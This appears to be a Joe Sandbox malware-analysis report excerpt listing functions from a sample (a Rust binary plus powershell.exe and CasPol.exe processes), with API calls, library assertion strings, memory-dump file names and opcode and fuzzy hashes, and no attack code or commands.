Function 00007FF681B16900 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 87networkCOMMON

Download Yara Rule

APIs

getpeername.WS2_32 ref: 00007FF681B1694C
WSAGetLastError.WS2_32 ref: 00007FF681B1698A

Strings

assertion failed: len >= mem::size_of::<c::sockaddr_in>()library\std\src\sys_common\net.rs, xrefs: 00007FF681B169F2
assertion failed: len >= mem::size_of::<c::sockaddr_in6>(), xrefs: 00007FF681B16A0A

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: ErrorLastgetpeername
String ID: assertion failed: len >= mem::size_of::<c::sockaddr_in6>()$assertion failed: len >= mem::size_of::<c::sockaddr_in>()library\std\src\sys_common\net.rs
API String ID: 2962421750-513854611
Opcode ID: 02af6a3c2d1d24c041a1db87c9601e20f9798b5e4d28a8d4dcedbab85bc2fc48
Instruction ID: 0e219e2d51554de87ad8b3f2ce68e2990165fc1392a6659b20e552ab6bc2a1b2
Opcode Fuzzy Hash: 02af6a3c2d1d24c041a1db87c9601e20f9798b5e4d28a8d4dcedbab85bc2fc48
Instruction Fuzzy Hash: 52318D21D08692DAF3259FA8E4422FC7371FF45318F01A139EA8987660EF3CAAC5C340

Function 00007FF681B4A0F0 Relevance: 6.2, APIs: 4, Instructions: 189COMMON

Download Yara Rule

APIs

WaitOnAddress.API-MS-WIN-CORE-SYNCH-L1-2-0(?,?,?,?,?,?,?,?,?,00007FF681B0853F), ref: 00007FF681B4A197
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF681B0853F), ref: 00007FF681B4A19E

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: AddressErrorLastWait
String ID:
API String ID: 1574541344-0
Opcode ID: 2d5aa797f166dfacdf1bafccd46bcea5e02e77bd1f5926a16e28f2c1656eafe1
Instruction ID: d3a20eee6415505a6bf1f27e6c83db09cb84c66b9df69e02b965afe007e325b1
Opcode Fuzzy Hash: 2d5aa797f166dfacdf1bafccd46bcea5e02e77bd1f5926a16e28f2c1656eafe1
Instruction Fuzzy Hash: FE518532B18112C6FB748A76985067863917F577A8F14D73DEE6FC22D0EE2EE842C204

Function 00007FF681B0CC50 Relevance: 6.1, APIs: 4, Instructions: 105COMMON

Download Yara Rule

APIs

CancelIo.KERNEL32(?,?,?,?,?,?,?,00000000,00000000,?,00007FF681AF62DD,?,?,00000000,00000000,?), ref: 00007FF681B0CC78
GetOverlappedResult.KERNEL32(?,?,?,?,?,?,?,00000000,00000000,?,00007FF681AF62DD,?,?,00000000,00000000,?), ref: 00007FF681B0CC9A
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000000,00000000,?,00007FF681AF62DD,?,?,00000000,00000000,?), ref: 00007FF681B0CCAC
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000000,00000000,?,00007FF681AF62DD,?,?,00000000,00000000,?), ref: 00007FF681B0CD18

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: ErrorLast$CancelOverlappedResult
String ID:
API String ID: 3836860830-0
Opcode ID: 54818a233523a7a92ab661ce20595577009ec4f38e66bb6e5d3b50e39293b652
Instruction ID: 148e907ae75b44652f9313ea026022a3b96b98aa22d8be664adf17f1e5408425
Opcode Fuzzy Hash: 54818a233523a7a92ab661ce20595577009ec4f38e66bb6e5d3b50e39293b652
Instruction Fuzzy Hash: F341AF72B04A41C9FB208B61E9003AC27A0FF89B98F049639CE5D837D5DF78D985C300

Function 00007FF681B0C8C0 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(?,?,?,00000000,?,?,?,00007FF681B0C54D), ref: 00007FF681B0C8F0
GetLastError.KERNEL32(?,?,?,00000000,?,?,?,00007FF681B0C54D), ref: 00007FF681B0C94D
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,00007FF681B0C54D), ref: 00007FF681B0C9BE
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,00007FF681B0C54D), ref: 00007FF681B0C9C4

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: CloseHandle$CreateErrorEventLast
String ID:
API String ID: 3743700123-0
Opcode ID: 7ea1ce9272d4a2b4ca4dcbb2837f92c6ab5aff6fd58214188770608a7f0bc171
Instruction ID: 68732c222d7d6f552ad2afedb7636526ea83b82982ffedaed5c92bae3fd01202
Opcode Fuzzy Hash: 7ea1ce9272d4a2b4ca4dcbb2837f92c6ab5aff6fd58214188770608a7f0bc171
Instruction Fuzzy Hash: DB218033A04B51C5F7218B22F8407696A64FB897A4F189238DF9D537D0DF7C9992C340

Function 00007FF681A915D0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 175COMMON

Download Yara Rule

APIs

ProcessPrng.BCRYPTPRIMITIVES ref: 00007FF681A91776

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 00007FF681A9191A
invalid initial remote window sizeC:\Users\N1nhpro\.cargo\registry\src\index.crates.io-6f17d22bba15001f\h2-0.3.26\src\proto\streams\recv.rs, xrefs: 00007FF681A918E9

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: PrngProcess
String ID: called `Result::unwrap()` on an `Err` value$invalid initial remote window sizeC:\Users\N1nhpro\.cargo\registry\src\index.crates.io-6f17d22bba15001f\h2-0.3.26\src\proto\streams\recv.rs
API String ID: 2076587149-75140011
Opcode ID: da9fb5b2aa81d80503ff5d37853a7a908bcfd085250bf5f690064b15ad06a238
Instruction ID: 959119071d7c39edcca8703f9cfd610a5c1262fbc9e5f7e81bdca75fea26ff65
Opcode Fuzzy Hash: da9fb5b2aa81d80503ff5d37853a7a908bcfd085250bf5f690064b15ad06a238
Instruction Fuzzy Hash: 80917B32908BC1C6E3608F15F4443AAB7A0FB89754F10522ADBD957B95DF7DE185CB40

Function 00007FF681AFD5B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 118COMMON

Download Yara Rule

APIs

WaitOnAddress.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF681AFD708
GetLastError.KERNEL32 ref: 00007FF681AFD713

Strings

use of std::thread::current() is not possible after the thread's local data has been destroyedlibrary\std\src\thread\mod.rs, xrefs: 00007FF681AFD73A

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: AddressErrorLastWait
String ID: use of std::thread::current() is not possible after the thread's local data has been destroyedlibrary\std\src\thread\mod.rs
API String ID: 1574541344-63010627
Opcode ID: 7ffb0ef1bdb1586537589a5a78c3f115120fffa992139c69579be610a6e3c5af
Instruction ID: 33d31a2748da7645e60c46583d43a7733969cf4fc4cc4210a9de2fc2552b59a3
Opcode Fuzzy Hash: 7ffb0ef1bdb1586537589a5a78c3f115120fffa992139c69579be610a6e3c5af
Instruction Fuzzy Hash: 2841C236B18E85C5EB56CB19D8802B92770FF99B94F04823ADD2E977E0CE2CE556C300

Function 00007FF681B13E60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,00007FF681B056A1,?,?,?,?,?,?,?), ref: 00007FF681B13E8E
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00007FF681B056A1,?,?,?,?,?,?,?), ref: 00007FF681B13F2A

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 00007FF681B13F48

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: ErrorFrequencyLastPerformanceQuery
String ID: called `Result::unwrap()` on an `Err` value
API String ID: 3362413890-2333694755
Opcode ID: 32da29513c17ae394572303b97df98f9ff290e8e19dbdd49a04ed56ab7202a14
Instruction ID: 26f774b6573a22000247538e43f686c73fee992d6484f1df958cd353ee141921
Opcode Fuzzy Hash: 32da29513c17ae394572303b97df98f9ff290e8e19dbdd49a04ed56ab7202a14
Instruction Fuzzy Hash: 9A31E462B04B46C6EB18DBA5A8002F96365BF867E0F04E63ACD1E82794DF3CD596C340

Function 00007FF681B00270 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 72COMMON

Download Yara Rule

Strings

lock count overflow in reentrant mutexlibrary\std\src\sync\reentrant_lock.rs, xrefs: 00007FF681B0024C
use of std::thread::current() is not possible after the thread's local data has been destroyedlibrary\std\src\thread\mod.rs, xrefs: 00007FF681B00234

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: AddressSingleWake
String ID: lock count overflow in reentrant mutexlibrary\std\src\sync\reentrant_lock.rs$use of std::thread::current() is not possible after the thread's local data has been destroyedlibrary\std\src\thread\mod.rs
API String ID: 3114109732-122189663
Opcode ID: b9a14a36b11790e10ee904fcd937d710817398c60fc9b56ab0b9df3f490a80ad
Instruction ID: b592653a5e7fc089c3dc729363085dbfb9a9b53ad7d4dcc710923fd82ffec773
Opcode Fuzzy Hash: b9a14a36b11790e10ee904fcd937d710817398c60fc9b56ab0b9df3f490a80ad
Instruction Fuzzy Hash: 17318922F05A55CAEB41DB64D8803FC23B0BF49798F64963ACE5D93695EF38A586C300

Function 00007FF681B05670 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00007FF681AAA8CB), ref: 00007FF681B0568E
GetLastError.KERNEL32(?,?,?,?,?,?,?,00007FF681AAA8CB), ref: 00007FF681B056A8

Part of subcall function 00007FF681B13E60: QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,00007FF681B056A1,?,?,?,?,?,?,?), ref: 00007FF681B13E8E

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 00007FF681B056C6

Memory Dump Source

Source File: 00000000.00000002.1739936030.00007FF6819E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6819E0000, based on PE: true

Associated: 00000000.00000002.1739063064.00007FF6819E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745075290.00007FF681B4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1753980420.00007FF681BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755108185.00007FF681BFE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1755803623.00007FF681C00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1756691971.00007FF681C03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6819e0000_TM3utH2CsU.jbxd

Similarity

API ID: PerformanceQuery$CounterErrorFrequencyLast
String ID: called `Result::unwrap()` on an `Err` value
API String ID: 158728112-2333694755
Opcode ID: c64d9b237f7fe75b13ef5764af1e9b5d62f7b9f0dc295256583dd8b5223aa651
Instruction ID: 9510f66f2ba92356a5048cd6d02a03ed2dff8b1a5a61c85ddd23507b7702c050
Opcode Fuzzy Hash: c64d9b237f7fe75b13ef5764af1e9b5d62f7b9f0dc295256583dd8b5223aa651
Instruction Fuzzy Hash: BE016922E14A42DAE7109B70E8053FD2734FF86318F445A39CA6D827D4DF38D646C390

Analysis Process: powershell.exePID: 3768, Parent PID: 1864COMMON

Executed Functions

Function 00007FF7B39B0004 Relevance: 1.9, Strings: 1, Instructions: 687COMMON

Download Yara Rule

Strings

H, xrefs: 00007FF7B39B05AC

Memory Dump Source

Source File: 00000012.00000002.2773940035.00007FF7B39B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B39B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b39b0000_powershell.jbxd

Similarity

API ID:
String ID: H
API String ID: 0-2852464175
Opcode ID: c76fc56cab1539cf960eecb5897f1f8b31de0ccfb11c867f8d642a6fbfd8ed67
Instruction ID: 16a3247136dfc704345cd34621ba09fef7bf7ba4c7d154a91abfd07951aaef2f
Opcode Fuzzy Hash: c76fc56cab1539cf960eecb5897f1f8b31de0ccfb11c867f8d642a6fbfd8ed67
Instruction Fuzzy Hash: 52223821A0DACA4FE7D6A72C58946B4BBE1EF67314B4801FBD14CC7297EE289C45C361

Function 00007FF7B39B0BAA Relevance: .4, Instructions: 405COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2773940035.00007FF7B39B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B39B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b39b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cec343d40f6a2f154a80b3b311151a575802c4db67d3468cb5f0127d49ae176c
Instruction ID: 0f9a2cb6c4f01af1b9193e3b7d5e0661238c4e93237305f8302b5fe3e6b52034
Opcode Fuzzy Hash: cec343d40f6a2f154a80b3b311151a575802c4db67d3468cb5f0127d49ae176c
Instruction Fuzzy Hash: 1EC1493190DBCA4FE796E72C58552B4BFE0EF63224B4802FFD549CB197EA246845C391

Function 00007FF7B39B37EA Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2773940035.00007FF7B39B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B39B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b39b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e882be289ff5a81a0823da0c97d886d3c338308a24b7cfc8b68a6cb592ceed7e
Instruction ID: c6eca8934ee10878be07a7579943fa6d623e4d12811223665e94fa559466eacd
Opcode Fuzzy Hash: e882be289ff5a81a0823da0c97d886d3c338308a24b7cfc8b68a6cb592ceed7e
Instruction Fuzzy Hash: 59912431A0DA8A4FEB95FB6884456B9FBE1FF16354B4401BEE14DC7193EE28AC40C751

Function 00007FF7B39B0322 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2773940035.00007FF7B39B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B39B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b39b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9056708bc6625e69269bbd20bf4df862a649c2bc36818b2df8489fa08082855
Instruction ID: 768aa1c69ba921ec144af82fe7598ebc637f7d773a93cfeef6b49d0ac8a3074f
Opcode Fuzzy Hash: b9056708bc6625e69269bbd20bf4df862a649c2bc36818b2df8489fa08082855
Instruction Fuzzy Hash: E3613B21A0DA8A0FE7D5AB2C44A4674BBE1FF67314B4801FAD14CD7297FE689C45C361

Function 00007FF7B39B0E30 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2773940035.00007FF7B39B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B39B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b39b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8953e7cec165da9011f5131cd67b403f47aa7c3b0d7bcaff95561512fb45af2
Instruction ID: 70f95295434ccd41cdd6c41319beb0a947575e6c4f38033baf15d5cf1d732945
Opcode Fuzzy Hash: c8953e7cec165da9011f5131cd67b403f47aa7c3b0d7bcaff95561512fb45af2
Instruction Fuzzy Hash: A331D01194F7C25FE383A37858A9594BFA06F23224B0D01EFE199CF5E7EA5D1859C322

Function 00007FF7B39B6BD3 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2773940035.00007FF7B39B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B39B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b39b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98760b6570b4416583cdea2270dd826e811cde57b4a95c2569c47f1734535848
Instruction ID: 4a059f959fd2d05109f3d59f9ed3f7f480ca855a416b8a5cb59e774cead16b8f
Opcode Fuzzy Hash: 98760b6570b4416583cdea2270dd826e811cde57b4a95c2569c47f1734535848
Instruction Fuzzy Hash: 7911E022E0DD4F0AF7D9B22C04053B491C3EFEA725BD802BAE60DD329AEC18EC814250

Function 00007FF7B38E4E15 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2735610127.00007FF7B38E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B38E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b38e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14519e921102746a586ca7a2ccba9c94f822801dd3536a8d90bbab63678df340
Instruction ID: c7d9250d64978efb540d5b93e799a267334e2819994c128bed796ae9ae636a75
Opcode Fuzzy Hash: 14519e921102746a586ca7a2ccba9c94f822801dd3536a8d90bbab63678df340
Instruction Fuzzy Hash: 1201A73010CB0C4FDB44EF0CE051AA5B3E0FB95360F10062DE58AC3651D636E881CB46

Function 00007FF7B39B5B36 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2773940035.00007FF7B39B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B39B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b39b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e16a98f9b59e9d55a1de0d0f57739c7aa487e87a0833389aa239bc7cd21f0c90
Instruction ID: 4c2b3541d6c504ddc0d6edcfdc280b8f79eed0b25b6af59ba9ed7ab49e9d2d7e
Opcode Fuzzy Hash: e16a98f9b59e9d55a1de0d0f57739c7aa487e87a0833389aa239bc7cd21f0c90
Instruction Fuzzy Hash: 30E01222B0E85D4FE688B91C7459278B692E799262B1146BAE14DC329ADC1548494350

Non-executed Functions

Function 00007FF7B38E9589 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2735610127.00007FF7B38E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B38E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff7b38e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d962552867b477030990e909b76e5a44c4a6e0d84679230284aeeffc9e708411
Instruction ID: 9d84706e94d53a7dfa5a9a69e9540e41087338a4f12bfa3abde1de4ba4737fa8
Opcode Fuzzy Hash: d962552867b477030990e909b76e5a44c4a6e0d84679230284aeeffc9e708411
Instruction Fuzzy Hash: 2551206284E7C14FD7039B748C666907FB0AF13224B4E06EBC4D0CF0A3E65D5A6AC362

Analysis Process: powershell.exePID: 7204, Parent PID: 8468COMMON

Executed Functions

Function 00007FF7B39E265A Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000047.00000002.2086579645.00007FF7B39E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B39E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_7ff7b39e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 602b4baa963763fa39edc94a1436a93c04735cf83ac7e87c6fe8b4343cb3681b
Instruction ID: 13b480fd5ab07348e81fbe6268bc144954f53ba42fdd4cc66f6fdac4411343b3
Opcode Fuzzy Hash: 602b4baa963763fa39edc94a1436a93c04735cf83ac7e87c6fe8b4343cb3681b
Instruction Fuzzy Hash: EC914831A0DA9A4FE795FB6C88051B9BBE1FF1A354B4402BED04DC7097DE15A888C360

Function 00007FF7B39150E5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000047.00000002.2069417983.00007FF7B3910000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7B3910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_7ff7b3910000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction ID: 6378746d8fe2d2540edcb0b9abaa4bb244d96684e52e8c92c6287eb1308572c5
Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction Fuzzy Hash: 0C01A73010CB0C8FDB44EF0CE051AA9B3E0FB95364F10052EE58AC3651D632E882CB41

Analysis Process: CasPol.exePID: 3548, Parent PID: 3912COMMON

Executed Functions

Function 018708E0 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000007D.00000002.2704672305.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_125_2_1870000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30762ee5d0b68f4addab77b48072e0f73ee44ccd431df5e0199d8b7cc81b5f20
Instruction ID: 776a1c8a4f6b0141aac0666f2fbaafb033f4d21f2f1727b2f77e44280563aad2
Opcode Fuzzy Hash: 30762ee5d0b68f4addab77b48072e0f73ee44ccd431df5e0199d8b7cc81b5f20
Instruction Fuzzy Hash: 4F617B30B012058FDB14EB79EC58A6E7BB2FF8A700B108969D406DB3A5DF749C458F91

Function 018708CF Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000007D.00000002.2704672305.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_125_2_1870000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab78cbcc5104587dd793968297123a2d769416ec1a8e65716875c4aea26901de
Instruction ID: e2b5a6e9a343159a33aaa4d2494e79748b86cc395352b802236e411a8059091e
Opcode Fuzzy Hash: ab78cbcc5104587dd793968297123a2d769416ec1a8e65716875c4aea26901de
Instruction Fuzzy Hash: C2419E30A013058FDB24EB78EC9866D7BA2FB853003008A2DD446DB6A5EF789D59CF91

Function 01870A98 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000007D.00000002.2704672305.0000000001870000.00000040.00000800.00020000.00000000.sdmp, Offset: 01870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_125_2_1870000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 836771850053c32cbf59d1ee36bc4f60434e5ac1432c952858eb93dca5ab60c9
Instruction ID: c23aa90a6ebf0585038b6c3ace170b22e510a27bafa5853e82251129049983cc
Opcode Fuzzy Hash: 836771850053c32cbf59d1ee36bc4f60434e5ac1432c952858eb93dca5ab60c9
Instruction Fuzzy Hash: 7D319C34B402049FCB54DB79D854B6E7BB2FF89710F2044A9E506EF3A6CA71DC028B95

